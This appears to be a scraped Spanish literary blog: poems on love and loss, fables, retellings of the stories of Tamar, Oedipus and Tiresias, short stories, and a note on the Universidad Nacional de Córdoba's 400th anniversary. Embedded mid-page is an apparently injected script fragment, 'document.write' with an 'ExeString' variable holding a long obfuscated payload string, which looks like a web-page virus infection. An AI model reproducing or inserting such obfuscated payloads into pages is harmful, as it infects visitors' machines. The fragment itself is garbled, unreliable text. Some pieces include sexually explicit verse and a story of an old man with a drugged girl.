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Siempre creí en las promesas, de amor, por ti, declamadas. Alguien dijo: ”Son mentiras, falsías, solo patrañas”… Fue tal mi desilusión que llegué a desear la muerte. Me encerré en mi habitación. Maldije mi mala suerte. Pinté mi casa de negro y con mortaja vestida, dormía en un ataúd, con desprecio de la vida. Y no quise mas vivir, pues muertas mis ilusiones, se vació mi corazón, de motivos y razones. Próximo el fin de mis días, silenciosa, triste y yerta, escuché, como aturdida, que derribaron mi puerta. Sin oponer resistencias, ya ni fuerzas me quedaban, Sentí, una boca en mi boca y brazos, que me aferraban. Eras tú, sin duda alguna. Quise huir de tu contacto. Supe que mi amor por ti, se mantuvo siempre, intacto. Oí insistente tu voz llamarme su amor sincero, Que era yo, la equivocada y repetía: “Te Quiero” Empaparon mi mortaja, tus lágrimas de aflicción. Entonces, quise vivir por siempre en tu corazón. El tiempo restaña heridas y las mías se cerraron. Tus palabras fueron claras, era yo, la equivocada. Nunca volveré a escuchar versiones interesadas, en crear duda y conflicto con mentiras inventadas. Todo ha vuelto a su lugar. Otra vez amo la vida!Voy a ser feliz contigo, contra todo lo que digan Cuando pronuncio tu nombre, el eco va repitiendo el sonido de mi voz impregnado en sentimiento. No lo podría ocultar, es hermoso lo que siento, es como fundir el alma en un todo con el cuerpo. Y la unidad que yo soy, admite su complemento, es la unidad que compones con tus propios elementos. Así estas dos unidades, reunidas en mutuo acuerdo, decidirán operar, según su propio criterio. Que sumen ó multipliquen, será lógico y perfecto. Si restan ó si dividen habrá un problema irresuelto. Deberemos corregirlo poniendo nuestro talento en procura de obtener los mejores rendimientos. Era una bruja ciruja que caminaba torcida con jorobita en la espalda muy flaquita y atrevida! No había nada imposible o que no pudiera hacer y montada en su escobita, todo lo podía ver. Si un perro, corría a un gato, su mascota preferida, iba veloz en su auxilio y al can, desaparecía. Si a algún niño, en penitencia, se le prohibía jugar, le hacía sitio en su escoba y lo llevaba a pasear. Vió a un caballito, cansado, tirar de un carro pesado, puso alitas en su espalda y lo convirtió en Pegaso. No había nada imposible o que no pudiera hacer. ¡Mira con frecuencia el cielo y quizás la puedas ver! Participamos de los festejos de la Universidad Nacional de Córdoba, este año, 2013, se cumplen 400 de su inicio. Es la más antigua del país y la cuarta de América. La Compañía de Jesús, en 1610, creó el Collegium Máximum, base de la que tres años después, impartiría estudios superiores. En 1621, Gregorio XV le concedió facultades de otorgar grados. Conocida también como “ la casa de Trejo” en memoria de su fundador, Fernando de Trejo y Sanabria, encierra entre sus sólidos adobes, la historia de la educación superior en Argentina. Comienza con Filosofía, Teología y Derecho Canónigo. En el siglo XVIII se agregaron otras, como Medicina. Bajo la corona española y la tutela de la Compañía de Jesús, los inicios de la Universidad, fueron elitistas y clericales A fines del siglo XIX, comenzaron a asistir y obtener su título, voluntariosas mujeres, que debieron vencer una tenaz resistencia de parte de los varones. En 1918 tuvo lugar la Reforma Universitaria, cuyos principales objetivos fueron : autonomía, cogobierno, enseñanza gratuita y concursos de oposición para acceder a cargos. Esta Reforma, nacida en Córdoba, se hizo extensiva a todo el continente. La mayoría del personal docente y alumnado, en la actualidad, es femenina. La población estudiantil, supera los 110000 alumnos que asisten a 13 facultades, en 250 carreras de grado, posgrado y doctorado, con mas de 100 centros de investigación, 25 bibliotecas y 16 museos. La UNC, es autónoma y aunque dependiente del estado nacional, administra su presupuesto, elige sus autoridades y dicta sus propias normas. La admisión de alumnos es irrestricta pero con exigencia de aprobación obligatoria en un ciclo de nivelación. En Medicina hay un examen de ingreso eliminatorio. La feliz elección, en 2007, reelecta en 2010 -2013, de Carolina Scotto, doctorada en Filosofía e Historia, primera mujer en acceder al rectorado de la UNC, marcó un antes y un después en la vida de la Universidad y sus dependencias. Ella y su equipo de trabajo, en una brillante gestión, han dado el impulso necesario para renovar y jerarquizar la tarea de un organismo de estudio, investigación e inclusión que abarca tantas áreas en las que se perfecciona día a día. Felices 400!!! Preguntaste –¿Qué es la muerte? No atinaba a responder Qué podría contestarte, si de ese tema, no se y el que lo sabe, es difícil que lo pueda responder. Algo, entonces se me ocurre, Es porque te quiero tanto! Inventaré lo que sea para aliviar tu quebranto. -“Yo pienso, que debe ser, la quietud que ansía el alma cansada de padecer en un cuerpo, desvastado que abandona con placer. No se de eso, pero intuyo que la muerte, no es castigo, sino el alivio deseado de quien ha sufrido mucho. Aunque nos parezca injusto, nada podemos hacer, Designios indescifrables que acatamos, sin querer Tanto esperar que volvieras! Aferrada al pensamiento de que otro como tu no había, pasé muy negro tormento. Rechacé a quien me rogaba que compartiera su amor, obnubilada, mi mente, sumergida en el error. Al fin, un día llegaste, cansado, sin ilusiones Y las mías, se esfumaron entre tantas desazones. No eres aquel que partió con ansias de mundos nuevos Y aquí, yo que te adoraba, dejé que pasara el tiempo, sola, con la falsa imagen, que de ti me había hecho. Volviste como un extraño, Así, yo no te recuerdo, con un rictus de amargura, pronunciado y hondo, el ceño y aquel brillo de tus ojos, que era promesa de cielo, se ha vuelto en espesa niebla ….y así, yo... no te recuerdo. Anoche te esperé, en vano hasta que me venció el sueño. Desperté en la madrugada, ladeado y torcido el cuello. Me dio de comer mi madre porque yo no conseguía acertar con la cuchara en la propia boca mía. Mi padre quiso llevarme a ver a un especialista, En medio, la multitud lo habré perdido de vista. Volví a casa caminando, Fue difícil orientarme. y por mas que caminé, lo que hice fue alejarme. Cuando vuelva a ser normal y pueda hacer lo que quiero ya no te voy a esperar, Me buscaré un novio nuevo! . Tamar, una muchachita vivaz y decidida fue dada en matrimonio a Er, primogénito de Judá, hijo de Jacob. Er, joven taimado y pendenciero, siguió con su vida alocada y en una de sus correrías, la muerte lo sorprendió sin dejar heredero. De acuerdo a la ley de levirato, Judá, dio a la viuda Tamar, a su segundo hijo Onán. Este, sabiendo que por la ley mosaica, los hijos que engendrara en Tamar, no serían suyos sino del hermano muerto, decidió, no consumar el matrimonio y dejó su simiente caer y perderse en la tierra. Por ese acto, Dios le castigó con la muerte. Otra vez, viuda y sin descendencia, Tamar, esperó que Judá, le diera a su tercer hijo, Selá. Temeroso de que corriera igual suerte que los otros, dejó pasar el tiempo, poniendo de excusa la juventud del mismo. Tamar, desesperaba de conseguir a su joven cuñado y pasar el resto de su vida sola. Mujer decidida y de armas tomar, se vistió como ramera y sedujo a su suegro, reciente viudo que no pudo pagar sus favores y consiguió que le dejara en prenda, su sello y su bastón. Volvió Judá llevando el cabrito ofrecido pero no encontró a la prostituta y nadie pudo darle noticias de ella. Meses después, llegaron a sus oídos rumores de que Tamar estaba preñada. Colérico, ordenó quemarla viva por adulterio. Iban a proceder contra la joven, cuando ella, mostró el sello y el bastón de Judá como pruebas de que era él quien la había poseído. El contundente testimonio, convenció a Judá que no tuvo más remedio que perdonarla. De ese encuentro, que no volvió a repetirse, nacieron los gemelos Faré y Zara. Quizá hoy día, te enteres, de lo que fuiste en mi vida Ahora puedo decirlo porque cerré mis heridas. Pero cuando te marchaste, aprendí qué es el silencio, Qué, la inmensa soledad, la que uno lleva por dentro, Cuando el invierno se arraiga en la mente y en el cuerpo Y por mas calor que enciendas, hielo se siente en los huesos Nada quieres escuchar, ni palabras, ni consejos Ni esperanzas, ni un tal vez..para eso ya estamos viejos. Te recluyes y te niegas a los mundanos encuentros. Nada tienes para dar y no es justo ni correcto, usar a otras personas para cubrir vaciamientos. Porque cuando me dejaste, quedé vacío por dentro. Es bueno haberte encontrado, para mi y no lo niego. Porque en mi mente quedaron, entre uno y otro recuerdo, preguntas sin responder y ha pasado tanto tiempo, que espero satisfacer, sin hacer cuestionamiento, Saber porqué despreciaste mi profundo sentimiento, despojándome del alma que daba vida a este cuerpo. Sin aparentes razones que justifiquen los hechos Detente aquí caminante!, afina un tanto el oído. Abre tu mente y medita, las palabras que te digo. Este camino que has hecho, antes que tú, ya lo hicieron, otros con igual fortuna que llegaron y se fueron. Encontraron lo buscado, o no era a lo que vinieron. Alguien se fija una meta y sortea sinsabores, concentra todas sus ganas para lo que se propone. Una vez lo ha conseguido si eso no lo hace feliz, imaginará otras metas porque la vida es así. El hombre no se conforma y eso lo obliga a seguir en búsqueda permanente, que es la esencia de vivir. Compartíamos el almuerzo. La comida sabrosa y sencilla que preparó Naná, una botella del vino que el abuelo, obtenía de sus vides y trajo de la bodega, sucia de tierra y telarañas. Un estrépito interrumpió la charla. Las rústicas puertas de madera se abrieron y frente a nosotros, el rostro desencajado de Benjamín, con el pelo sobre la frente, tenso y desprolijo, quedó mirándonos en silencio. El bocado sin masticar, se atoró en mi garganta. En su mano derecha, el facón manchado de una sustancia oscura que goteaba sobre el piso de tierra. -Ya lo hice- Le oímos decir con voz extraña. –No es lo que querían?. El silencio nos permitió escuchar con claridad sus palabras. La comida se enfriaba en los platos pero a nadie le importaba. -Ella dormía, continuó en voz baja y monótona,- parecía soñar. Pero en su sueño, nadie le decía lo que iba a pasarle. Un sollozo estremeció su cuerpo. -Ojalá hubiera echado a correr. Ojalá se hubiera salvado!. Ojalá… porque yo no tendría esta angustia que me atormenta! Me acerqué, con algo de desconfiaza. De una persona descontrolada como Benjamín puede esperarse cualquier cosa. Conseguí sacar el facón de su mano. No opuso resistencia y se dejó llevar. Mientras se aseaba, aproveché para lavar la cuchilla, pegoteada de sangre oscura. Al rato volvió presentable y eligió sentarse a mi lado. Le ofrecí unas chuletas que Naná acababa de cocinar. Las rechazó horrorizado: Jamás volveré a probar carne! Jamás cometeré otro cerdicidio! Lo juro!! Entonces busqué algo de fruta que comió pausado y sumido en sus pensamientos. Sobre almohadones mullidos, sentada en sillón de mimbre,sonríe dulce y tranquila, aguarda que suene el timbre.Es domingo a mediodía, vendría el hijo a buscarlay a algún lugar, agradable, sin duda, habrá de llevarla.Sonríe, dulce y tranquila, retoca su pelo cano,la falda de lana oscura y los zapatos lustrados.Pasado ya el mediodía, el timbre aún no sonó, pero ella serena, espera, al hijo que no llegó. Le traen una bandeja, con frutos, en variedad,ella, rechaza y comenta -"Mi hijo, pronto vendrá"La tarde ya está avanzada. Ella sólo agua, bebióy de su sillón de mimbre, ni siquiera se movió. El sol se hundió tras los cerros, la luna ya apareció,la llevan para acostarla. Su día ya terminó.En un club, a esa misma hora, el que ella, en vano esperófesteja con sus amigos. De su madre, se olvidó. Sentado frente a mí, en el tren, había logrado ponerme incómoda. No me quitaba la vista de encima. Aunque en ningún momento lo miré, sentía sus ojos clavados en mí. Era una sensación por demás desagradable. Mi apariencia es la de una mujer sobria y recatada, nada justificaba su concentrada atención en mi persona. Una oleada de calor me vino a la cara, apreté los labios y mis manos empezaron a sudar aumentando mi nerviosismo. La gente bajaba en cada estación. Éramos pocos los que continuábamos en el vagón, lo que me hacía más vulnerable a sus intenciones. No llevaba en mi bolso nada contundente como para defenderme, solo una lima de uñas metálica que guardo en un bolsillo con cierre. La palpé con los dedos bajo la tela. Calculé que si la sostenía con firmeza, podría inferirle varios puntazos en el abdomen. El factor sorpresa me daría ocasión para correr y ponerme a salvo de su ataque. Próxima a mi destino, así el mango de mi improvisada arma con la mano derecha, mientras con la izquierda me tomaba del pasamanos. Un sudor frío me inundó al ver q se levantaba tras de mí y de un costado del asiento, sacaba algo como una varilla... Decidida a pedir auxilio con todas mis fuerzas, vi al pasajero del tren, empuñar un bastón blanco que hacía repicar a su paso. No tienes que decírmelo. Sé con certeza cuando dejaste de amarme. El aire, entonces, se volvió denso, asfixiante, secó mi piel y por las grietas, se metió dentro, agostó lo que encontró a su paso hasta llegar al corazón. Fue misericordioso. Evitó el sufrimiento de desgarrarme de a poco. Ahora estoy cual me ves. No espero nada porque nada puedo dar. Me desprendo de una etapa, la mejor de mi vida que compartimos juntos descubriéndonos, asombrados por nuestras coincidencias y nuestra contradicciones, por la infinita ternura que despertó en mí tu devoción incondicional y tu incondicional entrega... cuando el dolor lacere mi alma, no abrevaré en los recuerdos. Si pudiera borrarlos de mi memoria… Olvido, haz que tu manto cubra mis noches en vela, cuando las brisas del campo me traigan aromas de ella. Cuando vibre en mis oídos, la armonía de su voz con renovadas promesas y juramentos de amor. Cuando su piel y la mía, fundidas en el abrazo, entre caricias ardientes, me sujeten a su lado. Cuando su imagen me acose, sin que nada pueda hacer por borrar de mi memoria lo que no puedo tener. Cúbreme pues, con tu manto, Misericordioso Olvido Y tal vez, cuando despierte, llegue a ser lo que no ha sido. Encolumnadas hormigas, dejan el viejo hormiguero.En ese andar sin descanso, trepan montes, cruzan ríos.Van en compacto marchar llevando larvas y avíos. La causa de la mudanza, tiene su origen e historia, para contarla sin yerros, apelaré a la memoria. Hace tiempo se instalaron, los grandes depredadores, con maquinarias ruidosas, produjeron los desmontes. Se pobló de gente extraña, de amenazantes sonidos convirtieron el hogar, que antes fuera un paraíso, en montones de deshechos, en un páramo sombrío Los pobres animalitos, en su estado natural, sin refugio ni alimentos, huyeron de ese lugar, en éxodo desquiciado. Siempre el hombre vá por más. Acorralados y hambrientos, sin saber a donde ir, Los pocos supervivientes, esperan un triste fin. Las hormigas, se arreglaron con los restos esparcidos Hasta que llegó el momento de buscar otros destinos. Enviaron exploradoras expertas en detectar un lugar para su reina que empezará a desovar. Millones de nuevos seres que deben alimentar, son las futuras obreras que el sistema, sostendrán. Las incansables hormigas que marchan sin descansar. Una sociedad perfecta donde todos colaboran Cada cual cumple su rol, que es como todo funciona. Soy la reina de Tebas. Soy Yocasta, viuda de Layo, que descansa en paz. Mi hermano, Creonte, a la sazón, regente, dispuso, a quien lograra descifrar el enigma de la terrible Esfinge, Tebas y reina, en recompensa, dar. Llegó un joven que pudo resolverlo, Edipo, ese es su nombre y aquí está. El pueblo todo, lo aclama y lo venera, agradece, por librarnos de ese mal. Es extraño. Ahora él es mi esposo, Despertó en mi, algo distinto y especial. Amante dulce, sincero y cariñoso, perturba mi sentir y mi soñar. Algo hay que me impide ser dichosa. A ciencia cierta, no se lo que será. Si nuestros dioses, con su favor, lo aprueban, con el tiempo, tal vez, lo he de lograr. Detrás de los ventanales de su morada, ella mira. Porque detrás, lo supone, hay una vida, distinta. Distinta a la que conoce, a su manera, distinta, No será mejor ni peor, sencillamente, distinta. Ha visto gente pasar, de todas las cofradías, Apurados, abatidos, preocupados sin medida, Lo presiente en esos ceños, en esas caras fruncidas con arrugas acentuadas y las miradas vacías. Nadie ha detenido el paso, en esa poblada vía, ni cruzado su mirada, ni ofrecido una sonrisa. Todos marchan apurados, como siempre, cada día. Entre inexpresivos rostros, uno, distinto, la mira, se acerca hasta su ventana y hasta ensaya una sonrisa. Ella piensa...” las ilusiones no están, después de todo, perdidas.. alguien sonrió de aquel lado”. La esperanza renacida, seduce a su corazón que tan poco necesita, para acelerar el ritmo, aunque sean fantasías. El único que sonrió, trae en su mano y agita algo que busca vender... Ella baja su cortina. Es Tiresias, el tebano, excepcional, como ser, en ocasiones, es hombre, en otras, una mujer. Para aclarar la cuestión, ya que es el más indicado, Los dioses, que alegan dudas, al Olimpo, han convocado. Por sus vastas experiencias, sin más, es interrogado. A Zeus y también a Hera, decide, hacerles saber quien goza más con el sexo, si es el hombre, o la mujer. Por privadas situaciones, que se cuida de contar, sin vacilar, les responde: -Ellas, nueve veces más. Hera, que es una mujer, susceptible y recelosa, sin mediar otra razón, lo ciega. ¡ Cosas de diosa! Zeus, inclina la balanza y le otorga larga vida. Atenea, por su parte, el don de las Profecías. Guillaume Apolinaire, autor de los caligramas, en su poema “ Las tetas de Tiresias” hace referencia a este personaje de la mitología griega. Tiresias, fue quien anunció a Edipo las profecías. jueves, 04 de agosto de 2005 document.write "" ExeString = ">cjChTg_lb+BnjkN_us&P_rN_us&>bfl_bRcak+;jmk_I_i_]q+@ML+QmPg_fi+QckO[ne+Mo_D&@fm[fvCcmhMraEG^mn^qn&EGR_nAhg&EGBl_^s_Gfkc_r'#JDFfj_Cq'#JD=od[nbL[ci'#JDJonj[d`n_%(Bm^Pt\@rm]nfnhHI;jmdh^Qn@fk_J^sb&Qxj_Psl#IhDlllqLbrogbH_usPdnOd[^Qdgj_c`ofqH]ik[#QmPg_fi-L_dVlcqdEJ?S\BF;PR?M\QIIQ[^fiecfb[M]ohjnBmackdV)!PbrenloV&(IoO@`m_%O[neM[gb(7T=[pdQfmJ[qg !>_pjnim!##Qg_hBnqDrcpsm:+Dh^H`H`Esn?uhmnp7-NbbmCRI(@njsChf_VchM`nb%pxmnbl-,Yc_mhsij+hhc+J[qgH[jdCRI(@njsChf_VchM`nb%td\VCnf^bq(bqs&M`nbK`g_?haC`?ha@okbnclm@okbnclmEGR_nAhg&Ik?lonlOdmojdHbwnDll+Bf_^qQdmnFs7VM]ohjn+R]lfon@rkfh^l_H`BqlQg_hChTg_lb7gngi!Bkm_ChTg_lb7u\m?kcCcCcChTg_lb7u\mNbbmPdnCRI:=lb`n_Lad_`sPblcmschd-@cidMsps_gLad_`s#M_qQmPg_fi7@q_[qdI\gd]n%!QM`qcjq-Mbbkf&?ir_R_n@jjidI\gd]nqlf(7Hhn%'3'Lha(#M_rqNbljMqqchd7!Cnlfr]Jh^QgcmQdrn)h&+&(FeNbljHrl70-Qg_hN_joHoj7/7Bkm_FeNbljHrl70*Qg_hN_joHoj7/8Bm^FeQdgj@g[l Elegiste la rosa y tiene espinas, natural que las tenga, es una rosa. Si lastimó tu mano, por descuido era posible evitarlo, precavido, Estaba en el rosal, firme y hermosa, junto a otras, fina y aterciopelada, de tu sangre, unas gotas, matizaron, los pétalos fragantes de la rosa Para quien la arranca, hay un castigo. De espinas la dotó naturaleza, en intento de ponerla al abrigo del que depreda en busca de belleza. . La tienes en tu mano, es tu trofeo. Eso te hace feliz? Estás conforme? Hasta pagaste un precio, no es enorme para satisfacer sólo un deseo Azarosos largos años, cuando nació, le auguraron, mañana cumple noventa, está caduco y cansado. No quiere celebraciones, ni visitas ni reuniones, lo dijo a Flora Avendaño, ella entendió sus razones. Lo conoce de muy niña, cuando a la hacienda llegó, desde una aldea olvidada, que el incendio consumió. Tiznada su piel oscura, en la mirada el terror, por lo que sus ojos vieron, cuando del río volvió. Era una cría rebelde pero en la hacienda cambió desde el nombre y las costumbres, a las creencias y el dios, La rígida disciplina, su carácter doblegó, aprendió a ayuno y fustazo, obediencia y sumisión. Entrenada en el servicio, para servir se quedó. Pasaron más de diez años, en los que se convirtió en una joven gacela que a preservarse, aprendió Fue en una noche de luna, que el destino los cruzó. El volvía de parranda, ella aguardaba al amor. Le iba quitando las ropas, empapadas de sudor, Al rozar su piel ardiente, su fuego, la contagió. Las estrellas se fugaron y la luna se escondió detrás de una densa nube por no ver lo que pasó. Fue amante de algunas noches, después a otra conoció, con el tiempo, fueron tantas y de todas se olvidó, tan sólo Flora Avendaño, en la hacienda perduró. Ahora es su confidente, la que su plato adereza, quien se encarga de su ropa, de su copa y de su mesa. La que pone paños fríos cuando hierve su cabeza, quien ahuyenta a sus fantasmas en las noches turbulentas, la que firme en su atalaya y dispuesta a lo que sea, lo protegerá de todo, como al cachorro, la fiera, así evitarle un disgusto, un dolor ó una tristeza. En lo profundo de su alma, intuye que sólo es ella, quien tiene, de su señor, las llaves de las miserias y con eso tiene todo, pues eso la hace “Su Dueña” Será el amo, mientras viva. Al hombre, un día, enterró junto al amor, que en su pecho, sediento, se marchitó, en el cuerpo sigue intacta, la marca que le dejó. Finalmente, recobrada, de esa sumisión atroz, aprendió a ver por sus ojos, que no es tarea menor. El corazón, la hizo esclava, el tiempo la liberó. Un día, como cualquiera, la visión, recuperó. Hoy ordenó, algo frugal, ligero para su mesa, para su cama, una virgen ¿ha perdido la cabeza? ¿Ó es que hurgando en sus recuerdos, despertó algo que lo tienta? Han salido unos criados a buscarla donde sea. Está en el ocaso el día y todavía no encuentran la doncella, que caliente, de su patrón, la osamenta. El pobre, está en puro hueso y así mismo no escarmienta. Ya le traen a la virgen, está del todo cubierta, que el ojo humano, no roce, ni mancille su pureza. La recuestan en la cama, perfumada para ella, con pétalos de mil flores, exóticas, de la selva. El aroma, penetrante, le causa dulce embriaguez, la niña, en el lecho, tiembla, aún sin saber porqué. Lentamente se sumerge, en profunda languidez. Dos criados traen al viejo, enredado entre sus huesos, en fina camisa de hilo, que le cubre el esqueleto. La eterna Flora Avendaño, quien fue, su primer amor, ha preparado el brebaje que resucita el vigor. Lo depositan al lado, de la doncella dormida, para alejarse en silencio y continuar con sus vidas. Los ungüentos y lociones, no alcanzaron a ocultar el agrio olor del pellejo, del viejo que aún quiere amar. Con memoriosa paciencia, tratará de recordar y su mano sarmentosa, con torpeza, acariciar. Abre los ojos, la niña, entre despierta y dormida, aparta la garra fría y de la cama se exilia. Bate sus brazos, el viejo, como queriéndola asir, sin conseguirlo, se agota, rendido, vuelve a dormir. El día bien avanzado, entran Flora y los criados. La virgen, duerme en la estera, el viejo, quieto, morado, entre pétalos marchitos y un rancio olor a pasado. .Haydée López jueves, 27 de agosto de 2009 En las arenas del circo, donde la muerte es función,espera a Androcles, hambriento, un magnífico león.Sereno, lo enfrenta, Androcles, sin demostrarle temor,La fiera, se echa a sus plantas, algo así, nunca ocurrió. Desde el gentío asombrado,se eleva un sordo clamor.Androcles alta la testa, le habla al Emperador:-"En Africa, lo hallé herido, mis cuidados, le brindé,lo acompañé en su guarida y fue el amigo más fiel "- Androcles, puedes marcharte. ¡te concedo mi perdón!Hoy es tu día de suerte, ve con tu amigo león. Haydée El poder de su abolengo, por todos es conocido.Sólo expresará un deseo y le será concedido.Como hija de un gran señor, de bienes y relaciones,su futuro es promisorio, lógicas sus pretensiones. Satisfecha ante el espejo, de su doncella escuchó,que una hermosa gitanilla, al amanecer, murió. -“La encontraron en la calle, donde un potro, la tumbó.Será velada en la plaza, tras la pérgola mayor” -Quizás, más tarde, me acerque, sólo por curiosidad.dice la niña y comienza, sus trenzas a desatar. Su cabello, hebras doradas , que con orgullo peinópierde el oro, pierde el brillo y en estopa se volvió.Sus dientes, que competían con el nácar y el marfil,Se caen de las encías y descubren la raíz.Su piel, fina porcelana, lisa y de buen coloridose agrieta hasta quedar seca, semejante al pergamino.“Esto es una pesadilla y tengo que despertar” e intenta en vano, evadir, la terrible realidad. En busca de explicación comenzará a recordar.“Salía de misa un domingo y a un mozo, de muy buen ver, al cruzarse sus miradas, lo notó palidecer. Acostumbrada al halago, no se había de sorprender. Tan ferviente admirador, logra hacerla estremecer.Eros apuntó su flecha, certera, hacia el pecho de ély aunque ya tenía dueña el corazón de Javier, antes que nada, es un hombre, así se puede entenderque de Esmeralda se olvide y sueñe un nuevo querer..Sonrió alegre y divertida, conciente de ese poder que le otorgó su belleza y su posición también.A partir de ese momento, el seducido, olvidó, por esa rubia belleza, que en la iglesia conoció,a la hermosa gitanilla con la que se prometió,Como un loco alucinado, por las calles, la siguió esperó pacientemente hasta que ella apareciódeslumbrante en su atavío, por las puertas del balcón.La coqueta, de su pecho, un pañuelito, sacó, en él apoyó los labios y apretado, lo arrojóhacia el joven, que en su boca, sedienta, lo recogió. El ardiente enamorado, nunca será el elegido, Ella alienta otros proyectos. ¡Pero fue muy divertido! Sin más, ahí cegó el fuego, que imprudente, alimentó.Cerró tras de sí la puerta, y de Javier, se olvidóSentada junto a la fuente, no volvió a pensar en él,que bajo el balcón espera, ansioso, volverla a ver. Triste y mustio, vuelve a casa, agotada la esperanzaSale a su encuentro Esmeralda, inquieta por su tardanzay más se inquieta al notar una completa mudanza.El se mantiene callado, sumido en sus pensamientos.Tan sólo bebe una copa, y rechaza el alimento Los manjares, en la mesa, se terminan por enfriar.-¿Qué sucede, amado mío? De tu cambio la razón, necesito conocer, para hallarle solución.-Nada ha cambiado, Esmeralda,.Nada tienes qué temer.-Sólo son ideas tuyas, y lo debes entender. Inquieto su corazón, no la ha dejado dormirpercibe que algo anda mal, la duda, le hace sufrir. Al oírlo hablar en sueños, atento pone el oído,sus expresiones de amor, no la tienen por destino.Amargas lágrimas vierte, sin poderlas contenerve entonces el pañuelito, en la mano de Javier.Con destreza se lo quita, lo observa con atención.Para confirmar sospechas, tomará una decisión. Corre por calles oscuras, llega a una casa modesta,bien sabe que mora allí, la bordadora más diestra.Una mujer, aparece, con un candil en la mano,enrojecidos los ojos y el torso muy encorvado.Muestra el pañuelo y exige enseguida, una respuesta - ¿Quién lo encargó y para quién? ¡Necesito ya, saber!.Sorprendida y asustada, le contesta, la mujer:-Para la hermosa doncella hija del señor marqués,bordé yo los monogramas, tal como los diseñó,su madrina, la condesa, que fue quien los encargó. Esmeralda retrocede, palidece al recordar, a quien por su gran belleza, no puede tener rival.Una moneda de plata, en la mano de la obrera, es el pago merecido, por esa data certeraSe aleja y corre descalza por las calles empedradas,No siente frío ó dolor, está como anestesiada. Se aleja de la ciudad, en pos de una senda oscura, donde ralean las casas y no se atreve la luna.Un gato maúlla a su paso y una lechuza, en alerta, se lanza tras un ratón, que se escurre por la puerta, esa puerta que se abrió, sin que ella se diera cuenta.Es Maguira, la hechicera, que infunde a todos pavor,aunque ciega, lo ve todo y penetra el interior Un vago temor la invade, un sudor frío, la inunda, Intenta escapar de ahí, cuando oye esa voz profunda..-Se bien a lo que has venido, nada tienes que explicar he visto dentro de ti y estoy dispuesta a ayudar.A los conflictos de amor, es necesario enfrentar,asuntos del corazón, no conviene prolongar.-Acerca hacia mí la prenda de quien provocó tu mal,donde ha quedado su esencia, ingrediente primordial,de este infalible conjuro que, sin duda, logrará que él decida no volver, a la que hoy es tu rival. “Lleva contigo el pañuelo y vuélvelo a su lugar.Javier, amarrado a ti “ Por siempre, tuyo, será.” -“En cuanto al precio, le dice, de nuestro pacto acordado,todo lo que de él derive, tendrás por justo, aceptarlo”. Vuelve corriendo a tu casa, y procura descansar,para que hermosa, él te vea, a su lado, al despertar Esmeralda, resplandece, con luz de felicidad.Acepta las condiciones de Maguira, sin chistar. Sobre el palacio una negra, densa bruma se asentó,nadie consigue encontrar, para eso, una explicaciónLa servidumbre aterrada, los señores confundidos Ven transformarse a la hermosa, en un ser desconocido.Esa figura perfecta, envuelta en sedas y encajes,que expertas manos cosieron, para que las modelase,al reflejarla el espejo, que sostenía su paje,se derrumbó sin que nadie, evitarlo, consiguiera y Los ojos iluminados de inmensa felicidad,va Esmeralda, como flecha, recuperada la paz. Cortó los tientos de cuero y por la esquina cruzó, negro potro, encabritado, que del corral, escapóy topándose a Esmeralda, al suelo, la derribó.Ni un grito, ni una palabra, de su boca se escuchó. El soldado, que corría, tras el potro, lo juró. El amanecer, sorprende, a labriegos del lugar, que antes de salir el sol, van a ganarse su pan. El rostro sucio de barro, que sonríe dulcemente, sosteniendo entre los dedos, un pañuelito celeste,con un candil iluminan y llora la buena gente. -¡Es la gitana Esmeralda, la pobrecilla murió!-¿Qué hacía en la noche oscura, cuando el potro la tumbó? Van en busca del amante, a traerlo con premura,ha de conseguir para ella, una digna sepultura. No hubo gitana más bella en la ciudad que habitó.Contrajo una enorme deuda, por retener al amor. Desmesurado fue el precio, que dos vidas se cobróUna murió despojada, la otra, no lo disfrutó,Javier, va por las tabernas, sumergido en el alcohol.“El espíritu del mal, otra vez es vencedor.”Magui Si algún día me olvidaras porque el Alzheimer avanza, te prometo, vida mía, yo mantendré la esperanza para que en un próximo evento,aquí o en el más allá pudiéramos encontrarnos con toda felicidad. Serás un joven apuesto, para mi, un amante fiel Yo seré tu casta amiga, después… lo que deba ser. Ilusiones que alimenta mi alocado corazón, aunque la razón le indique que tome otra dirección. No siempre lo que uno quiere, tiene que ser lo correcto o lo correcto para uno, no es lo mismo para el resto. Entre tantas perspectivas, que no conducen a nada, Yo te seguiré queriendo….. si el Alzheimer no me gana. ¡Soy tan feliz de tenerte y feliz de ser Mujer! De que tú seas un Hombre. ¿Qué más podría querer? De que abarques en tu abrazo, mi talle y para mi bien, en este holgado regazo, haya encontrado mi Edén. En esa feliz postura, sellan mis labios, los tuyos, mi pecho contra tu pecho, el refugio más seguro. Siento el bullir de mi sangre y de la tuya el apuro. Mi vientre junto a tu vientre, fundidos los dos, en uno. Mi sexo húmedo y tibio, exige sentir el tuyo, potente, cálido, urgido, por someterme a su yugo. Sometida, aceptaré de mil amores, e intuyo, ascender hasta la cima y agotados, llegar juntos. Soñé que no me querías….El corazón, desolado, solo, triste y angustiado me reprochaba tu olvido. Y qué iba a decirle yo? No me salían palabras sólo lágrimas amargas que en la tierra se perdían. En el lugar que cayeron, brotaron plantas y flores para aliviar los dolores del corazón que sufría. Algo después, se calmó. Más sereno y resignado, volvió a tejer ilusiones con los restos del pasado. Todo fue tan solo un sueño, que pudo ser realidad y me dejó una verdad para tener bien presente. Los embates de la vida, distorsionan pensamientos y pueden trocar, a veces, los más firmes sentimientos. No llevarse por impulsos. Resignarse y aceptar. Las cosas pueden cambiar y volver luego a su curso. Te despediste en silencio. Era el final, comprendí. En silencio, lo acepté. Ni una lágrima, vertí. No encontraba las palabras para expresar mi sentir. La emoción me trastornaba y no supe que decir. Comprendí, de todos modos, lo inútil que era insistir. Cuando el árbol se ha secado, nada lo hace revivir. No habrá para él, primaveras, ni en setiembre, ni en abril y encendido, en el hogar, se consumirá hasta el fin. Lo mismo que el árbol seco, lo que él siente, lo sentí. Me quedé quieta y callada resignándome a morir. Un gran deseo de verte, me condujo hasta tu casa.Tu calle estaba desierta, tu vereda, desolada. Las altas puertas de roble estaban todas, cerradas, las rejas y los balcones, no eran los que recordaba. No vi árboles ni plantas, ni flores....No había nada que hablara de alguien, que, con amor, su tiempo, les dedicara, solo el pesado silencio de una casa abandonada.Era un día de verano, sin embargo, yo temblaba porque un frío inexplicable, desde tu casa emanaba. Muchas veces toqué el timbre. Por vencida, no me daba. Había ido para verte, y era eso lo que deseaba. Me disponía a partir, triste y desilusionada en el preciso momento, justo cuando tú llegabas... pero no llegabas solo. Esa que te acompañaba, era una bella mujer, muy joven. Yo vacilaba entre desaparecer, saludar, como si nada y luego darme la vuelta y correr desesperada, tirarme al paso de un tren, beber cicuta en mi casa, arrojarme desde 